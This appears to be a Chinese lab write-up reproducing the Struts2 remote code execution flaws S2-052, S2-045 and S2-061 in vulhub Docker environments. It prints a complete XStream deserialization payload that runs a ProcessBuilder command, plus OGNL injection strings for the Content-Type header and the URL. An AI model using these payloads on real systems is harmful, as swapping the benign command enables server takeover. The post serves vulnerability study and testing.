strtus2漏洞复现

简介:Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

此文章的漏洞包括:

        复现S2-052远程代码执行漏洞

        复现S2-045远程代码执行漏洞

        复现S2-061远程代码执行漏洞

具体操作内容:(1)使用docker搭建vulhub环境(https://vulhub.org/)

1、1搭建vulhub环境

1、git clone https://github.com/vulhub/vulhub.git 下载vulhub

(注:如若无法下载,请先尝试网络是否连接成功,如若网速不好,请切换网络)

2、安装docker-compose

1.2 复现S2-052远程代码执行漏洞

S2-052漏洞原理:

启用Struts  REST插件并使用XStream组件对XML进行反序列操作时,未对数据进行有效验证,可进行远程代码执行攻击。

(1) cd vulhub/struts2/s2-052 切换目录。

(2) 修改映射端口号为8082

(3)docker-compose up -d 启动

(4) http://192.168.200.116:8083

(5)进入id为3的edit界面,burpsuite抓包。

(6)send to repeater,修改数据包:

将Content-Type: application/x-www-form-urlencoded改为Content-Type: application/xml

将请求体内容_method=put&clientName=Bob&amount=33改为:

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        <string>touch</string>

                        <string>temp/hello.txt</string>

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer></ibuffer>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

点击go:

(7) docker ps 查看靶场容器ID

docker exec -it 2096 /bin/bash进入容器。

(8)ls /tmp 查看,hello.txt创建成功。

1.3 复现S2-045远程代码执行漏洞

S2-045漏洞原理:

文件上传模块在处理文件上传的请求时候对异常信息做了捕获,并对异常信息做了 OGNL表达式处理。可通过注入OGNL语言进行命令执行。

(1) cd vulhub/struts2/s2-045 切换目录,修改映射端口号为8084。

(2) docker-compose up -d 启动。

(3) 访问:http://192.168.200.116:8084

(4)点击submit,burpsuite抓包。

(5)send to repeater:

将Content-Type: multipart/form-data; boundary=---------------------------862674606196141771994536450

改为Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',120*120)}.multipart/form-data

1.4 复现S2-061远程代码执行漏洞

S2-061漏洞原理:

漏洞缘于对输入验证不足,导致在计算原始用户输入时强制进行两次Object Graph Navigation Library(OGNL)计算。

当在Struts标签属性中强制使用OGNL表达式并可被外部输入修改时,攻击者可构造恶意的OGNL表达式触发漏洞。

(1) cd vulhub/struts2/s2-061 切换目录;修改映射端口为8085。

(2) docker-compose up -d 启动

(3) http://192.168.200.116:8085

(4)验证漏洞是否存在:在url中输入:

http://192.168.200.116:8085/?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

按F12查看元素发现”est22”,说明存在漏洞。

  • 14
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值